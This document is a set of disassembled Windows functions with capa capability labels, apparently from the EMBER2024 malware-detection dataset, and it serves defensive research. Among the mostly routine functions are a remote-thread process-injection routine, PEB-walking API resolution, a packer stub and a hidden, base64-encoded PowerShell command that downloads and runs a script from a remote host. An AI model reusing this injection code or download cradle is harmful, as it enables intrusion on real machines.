joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401f3c6c
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x140537a90], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x140537aa0]
jne 0x1401f3cb9
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x140537ac8], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x140537a90], 1
mov ecx, dword [0x140537ac8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x1401f3d8e
mov rcx, qword [0x1404bbcd8]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x1401f3db9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x140537a98]
test rax, rax
je 0x1401f3d09
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x140537a98], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x1401f3dd4]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x140537ac8]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x1404bbcd8]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401f3db9
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x1401f4690
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, ecx
mov rcx, qword [0x1404bbcd8]
mov edx, 8
mov r8d, 0x250
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x140539000]
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov qword [0x140539020], rdi
and dword [rdi + 0x11c], 0
or eax, 0xffffffff
mov edx, ebx
mov rcx, rdi
mov dword [rdi + 0x118], 0xffffff
mov dword [rdi + 0xe8], 2
mov dword [rdi + 0xec], IsNetDrive
mov dword [rdi + 0x120], eax
mov dword [rdi + 0x124], eax
call fcn.1401f7c58
mov rbx, qword [rsp + 0x30]
lea rax, [0x1401f5548]
mov qword [rdi + 0xb0], rax
lea rax, [0x1401f55ac]
mov qword [rdi + 0xb8], rax
lea rax, [fcn.1401f4fec]
mov qword [rdi + 0x20], rax
lea rax, [0x1401f4e9c]
mov qword [rdi + 0x60], rax
lea rax, [0x1401f5650]
mov qword [rdi + 0xc8], rax
lea rax, [0x1401f55f8]
mov qword [rdi + 0xc0], rax
lea rax, [0x1401f4b28]
mov qword [rdi + 0x68], rax
lea rax, [0x1401f4acc]
mov qword [rdi + 0x48], rax
lea rax, [0x1401f4af8]
mov qword [rdi + 0x50], rax
lea rax, [0x1401f497c]
mov qword [rdi + 0x58], rax
lea rax, [0x1401f5340]
mov qword [rdi + 0x88], rax
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x1401fc294
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
mov r10d, dword [rsp + 0x68]
movsxd rsi, dword [rcx + 0x160]
mov ebx, r8d
mov r12, rdx
mov r11, rcx
test r10d, r10d
je 0x1401fc35b
mov eax, dword [rsp + 0x50]
mov ecx, ebx
mov ebp, ebx
shl eax, 2
imul ecx, dword [rsp + 0x58]
movsxd r13, eax
mov eax, esi
imul eax, r9d
mov r9d, dword [rsp + 0x48]
neg ebp
movsxd rdi, eax
mov qword [rsp + 0x28], rdi
mov eax, dword [r11 + 0x158]
movsxd r8, ecx
add r8, r13
add r8, r12
imul eax, r9d
movsxd rdx, eax
add rdx, qword [r11 + 0x150]
add rdx, rdi
cmp dword [rsp + 0x60], 0
jle 0x1401fc340
mov edi, dword [rsp + 0x60]
mov al, byte [r8 + 2]
xor byte [rdx + 2], al
mov al, byte [r8 + 1]
xor byte [rdx + 1], al
mov al, byte [r8]
lea r8, [r8 + 4]
xor byte [rdx], al
add rdx, rsi
dec rdi
jne 0x1401fc31c
mov rdi, qword [rsp + 0x28]
dec r10d
inc r9d
cmp dword [r11 + 0x174], 0
jne 0x1401fc354
add ecx, ebp
jmp 0x1401fc356
add ecx, ebx
test r10d, r10d
jne 0x1401fc2f0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x1401fd0fc
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
mov r11d, dword [rsp + 0x68]
movsxd rsi, dword [rcx + 0x160]
mov edi, r8d
mov r12, rdx
mov rbx, rcx
test r11d, r11d
je 0x1401fd1c5
mov eax, dword [rsp + 0x50]
mov ecx, r8d
mov ebp, r8d
lea r10d, [rax + rax*2]
mov eax, esi
imul ecx, dword [rsp + 0x58]
movsxd r13, r10d
imul eax, r9d
mov r9d, dword [rsp + 0x48]
movsxd r10, eax
mov qword [rsp + 0x28], r10
neg ebp
mov eax, dword [rbx + 0x158]
movsxd r8, ecx
add r8, r13
add r8, r12
imul eax, r9d
movsxd rdx, eax
add rdx, qword [rbx + 0x150]
add rdx, r10
cmp dword [rsp + 0x60], 0
jle 0x1401fd1ab
mov r10d, dword [rsp + 0x60]
mov al, byte [r8 + 2]
xor byte [rdx + 2], al
mov al, byte [r8 + 1]
xor byte [rdx + 1], al
mov al, byte [r8]
lea r8, [r8 + 3]
xor byte [rdx], al
add rdx, rsi
dec r10
jne 0x1401fd187
mov r10, qword [rsp + 0x28]
dec r11d
inc r9d
cmp dword [rbx + 0x174], 0
jne 0x1401fd1be
add ecx, ebp
jmp 0x1401fd1c0
add ecx, edi
test r11d, r11d
jne 0x1401fd15b
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140933058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409331df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140933089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14093306f
add dl, dl
jne 0x140933096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409330f6
xor eax, eax
add dl, dl
jne 0x1409330a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409331ad
add dl, dl
jne 0x1409330b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409330c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409330d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409330dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409330ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14093307e
mov eax, 1
add dl, dl
jne 0x140933106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140933113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409330fb
sub eax, ebx
mov ebx, 1
jne 0x14093314c
mov ecx, 1
add dl, dl
jne 0x14093312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14093313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140933123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14093307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140933168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140933175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14093315d
cmp eax, 0x7d00
jae 0x14093319b
cmp eax, 0x500
jb 0x140933196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14093307e
cmp eax, 0x7f
ja 0x14093319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14093307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409331d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14093307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x140001b3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b86
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b88
xor al, al
add rsp, 0x28
ret
Function at 0x7ffb8bf870e6
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x138
mov rsi, rdx

Function at 0x7ffb8bf871cd
Capabilities:
Access peb ldr_data

Disassembly:
push rsi
push rdi
push rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rdx, qword [rax + 0x20]
add rax, 0x20
cmp rdx, rax
je 0x7ffb8bf87238
mov r8, qword [rdx + 0x50]
xor r9d, r9d
movzx r11d, word [rcx + r9]
movzx r10d, word [r8 + r9]
test r11w, r11w
je 0x7ffb8bf8722d
lea esi, [r11 - 0x41]
lea edi, [r11 + 0x20]
cmp si, 0x1a
cmovae edi, r11d
lea r11d, [r10 - 0x41]
lea esi, [r10 + 0x20]
cmp r11w, 0x1a
cmovae esi, r10d
add r9, 2
cmp di, si
je 0x7ffb8bf871f1
jmp 0x7ffb8bf87233
test r10w, r10w
je 0x7ffb8bf87241
mov rdx, qword [rdx]
jmp 0x7ffb8bf871e5
xor eax, eax
add rsp, 8
pop rdi
pop rsi
ret
mov qword [rsp], 0
lea rax, [0x7ffb8bf87250]
mov qword [rsp], rax
mov r8, qword [rdx + 0x20]
mov rcx, qword [rsp]
xor eax, eax
cmp r8, rcx
jae 0x7ffb8bf8723a
mov edx, dword [rdx + 0x30]
add rdx, r8
xor eax, eax
cmp rcx, rdx
setb al
jmp 0x7ffb8bf8723a

Function at 0x7ffb8bf872b0
Capabilities:
Access peb ldr_data

Disassembly:
push rsi
push rdi
push rbx
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
mov rdx, qword [r8 + 0x20]
add r8, 0x20
xor eax, eax
cmp rdx, r8
je 0x7ffb8bf8731c
mov r9, qword [rdx + 0x50]
xor r10d, r10d
movzx esi, word [rcx + r10]
movzx r11d, word [r9 + r10]
test si, si
je 0x7ffb8bf8730d
lea edi, [rsi - 0x41]
lea ebx, [rsi + 0x20]
cmp di, 0x1a
cmovae ebx, esi
lea esi, [r11 - 0x41]
lea edi, [r11 + 0x20]
cmp si, 0x1a
cmovae edi, r11d
add r10, 2
cmp bx, di
je 0x7ffb8bf872d6
jmp 0x7ffb8bf87313
test r11w, r11w
je 0x7ffb8bf87318
mov rdx, qword [rdx]
jmp 0x7ffb8bf872ca
mov rax, qword [rdx + 0x20]
pop rbx
pop rdi
pop rsi
ret
Function at 0x7ffb8bf87321
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4a8
mov rbx, rcx
movsxd r10, dword [rcx + 0x3c]
mov eax, dword [rcx + r10 + 0x88]
mov ecx, dword [rcx + rax + 0x18]
test rcx, rcx
je 0x7ffb8bf873d0
mov r8d, dword [rbx + rax + 0x1c]
add r8, rbx
mov r9d, dword [rbx + rax + 0x24]
add r9, rbx
mov r11d, dword [rbx + rax + 0x20]
add r11, rbx
mov r10d, dword [rbx + r10 + 0x8c]
add r10d, eax
xor r15d, r15d
mov r12d, dword [r11 + r15*4]
add r12, rbx
xor r13d, r13d
mov sil, byte [rdx + r13]
mov bpl, byte [r12 + r13]
test sil, sil
je 0x7ffb8bf873c3
lea edi, [rsi - 0x41]
lea r14d, [rsi + 0x20]
cmp dil, 0x1a
movzx esi, sil
movzx edi, r14b
cmovae edi, esi
lea esi, [rbp - 0x41]
lea r14d, [rbp + 0x20]
cmp sil, 0x1a
movzx esi, bpl
movzx ebp, r14b
cmovae ebp, esi
out dx, al
inc r13
cmp dil, bpl
je 0x7ffb8bf87380
jmp 0x7ffb8bf873c8
test bpl, bpl
je 0x7ffb8bf873e9
inc r15
cmp r15, rcx
jb 0x7ffb8bf87376
xor esi, esi
mov rax, rsi
add rsp, 0x4a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
movzx ecx, word [r9 + r15*2]
mov r15d, dword [r8 + rcx*4]
lea rsi, [rbx + r15]
cmp r15d, eax
jb 0x7ffb8bf873d2
cmp r15d, r10d
ja 0x7ffb8bf873d2
xor r12d, r12d
lea rcx, [rsp + 0x80]
mov r8d, 0x104
xor edx, edx
call fcn.7ffb8bf8703e
lea rcx, [rsp + 0x190]
mov r8d, 0x104
xor edx, edx
call fcn.7ffb8bf8703e
lea rcx, [rsp + 0x2a0]
mov r8d, 0x208
xor edx, edx
call fcn.7ffb8bf8703e
movzx eax, byte [rsi]
test eax, eax
je 0x7ffb8bf8748c
cmp eax, 0x2e
lea r14, [rsp + 0x38]
je 0x7ffb8bf87491
lea rcx, [r15 + rbx]
inc rcx
xor r12d, r12d
lea edx, [rax - 0x41]
lea r8d, [rax + 0x20]
cmp dl, 0x1a
movzx eax, al
movzx edx, r8b
cmovae edx, eax
mov byte [rsp + r12 + 0x80], dl
movzx eax, byte [rcx + r12]
invalid
invalid
Function at 0x7ffb8bf8d8b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov rsi, rdx
mov rdi, rcx
call fcn.7ffb8bf872b0
test rax, rax
jne 0x7ffb8bf8d965
lea rbx, [rsp + 0x30]
mov qword [rbx - 8], 0xd
movabs rax, 0x58e11204ec8bf632
mov qword [rbx], rax
movabs rax, 0xac35b1f65058e112
mov qword [rbx + 5], rax
mov r15d, 1
mov qword [rbx + 0x10], r15
mov edx, 0xd
mov rcx, rbx
call fcn.7ffb8bf870e6
xor ebp, ebp
mov dword [rbx + 0x10], ebp
lea r14, [rsp + 0x50]
mov qword [r14 - 8], 0x1a
movups xmm0, xmmword [0x7ffb8bf86ee6]
movups xmmword [r14], xmm0
movups xmm0, xmmword [0x7ffb8bf86ef0]
movups xmmword [r14 + 0xa], xmm0
mov qword [r14 + 0x1c], r15
mov edx, 0x1a
mov rcx, r14
call fcn.7ffb8bf870e6
mov dword [r14 + 0x1c], ebp
mov rcx, r14
call fcn.7ffb8bf872b0
mov rcx, rax
mov rdx, rbx
call fcn.7ffb8bf87321
mov rcx, rdi
call rax
mov rcx, rax
mov rdx, rsi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.7ffb8bf87321

Function at 0x7ffb8bf90260
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x7ffb8bf90288
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x7ffb8bf90288
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [0x14001e198]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x50]
lea rcx, str.hallo
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x4d90
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140001068
lea rcx, str.___Got_handle.
call fcn.1400011f0
jmp 0x14000107c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____No_handle_received____ld._n
call fcn.1400011f0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 6
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x1400010b8
lea rcx, str.___Got_base_address.
call fcn.1400011f0
jmp 0x1400010cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____No_base_address_received____ld._n
call fcn.1400011f0
mov qword [rsp + 0x20], 0
mov r9d, 6
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001102
lea rcx, str.___Written_to_the_allocated_memory.
call fcn.1400011f0
jmp 0x140001116
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Writing_to_the_allocated_memory_in_the_process_failed____ld._n
call fcn.1400011f0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x48]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140001158
lea rcx, str.___Started_thread_in_the_allocated_virtual_memory_space_in_the_process.
call fcn.1400011f0
jmp 0x14000116c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Starting_thread_in_the_allocated_memory_in_the_process_failed____ld._n
call fcn.1400011f0
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400012e0
add rsp, 0x68
pop rdi
pop rsi
ret

Function at 0x140001cd4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d1e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d1e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d1e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d1e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d1e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d20
xor al, al
add rsp, 0x28
ret

Function at 0x140005870
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000569c

Function at 0x1400122a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400122c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400122c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001070
Capabilities:
Get session user name

Disassembly:
sub rsp, 0x448
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x430], rax
lea rcx, str.This_is_some_text_n
call fcn.140001010
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x400
lea rcx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rsp + 0x30]
lea rcx, str.Hello__s_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.140001100
add rsp, 0x448
ret

Function at 0x1400019c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a0c
xor al, al
add rsp, 0x28
ret
Function at 0x14165cd70
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14165cd7d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14165cd8d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14165cd75
lea eax, [rcx + 1]
jmp 0x14165cd9b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14165cdae
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14165cd94
sub eax, 3
jb 0x14165cdce
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14165ce1d
sar eax, 1
movsxd rbp, eax
jb 0x14165ce04
jmp 0x14165cddc
add ebx, ebx
jne 0x14165cdda
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14165ce04
inc ecx
add ebx, ebx
jne 0x14165cdea
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14165ce04
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14165cdfd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14165cdec
add ecx, 2
jmp 0x14165ce09
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14165cd32
jmp 0x14165cd7d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x1623000]
mov eax, dword [rdi]
or eax, eax
je 0x14165ce89
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1665930]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14165ce2d
jns 0x14165ce62
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14165ce6c
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14165ce83
mov qword [rbx], rax
add rbx, 8
jmp 0x14165ce4d
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14165cecd
cmp al, 0xef
ja 0x14165ceb5
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14165ce95
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x14165cea4
mov eax, dword [rdi]
add rdi, 4
jmp 0x14165cea4
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14165cf4c], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14165cf4c
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14165cf3c
sub rsp, 0xffffffffffffff80
jmp 0x1400c1da4
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004640]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004650]
mov dword [rax], 1
mov rax, qword [0x140004660]
mov dword [rax], 1
mov rax, qword [0x140004630]
mov dword [rax], 1
mov rax, qword [0x140004500]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140004620]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400045e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400045c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400044b0]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x140001550
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call dbg.__main
mov edx, 0
lea rcx, str.powershell.exe__nop__w_hidden__e_WwBuAGUAdAAuAHMAZQByAHYAaQBjAGUAcABvAGkAbgB0AG0AYQBuAGEAZwBlAHIAXQA6ADoAcwBlAHIAdgBlAHIAYwBlAHIAdABpAGYAaQBjAGEAdABlAHYAYQBsAGkAZABhAHQAaQBvAG4AYwBhAGwAbABiAGEAYwBrAD0AewAkAHQAcgB1AGUAfQA7AFsAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdABdADoAOgBuAGUAdwAoACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADAALgAxADAALgAxADQALgAyADEALwBhAHAAaQAvAHYAMQAvAGQAbwBjAHMALwBsAGkAcwB0ACIAKQB8AGkAZQBgAFgA
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001850
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]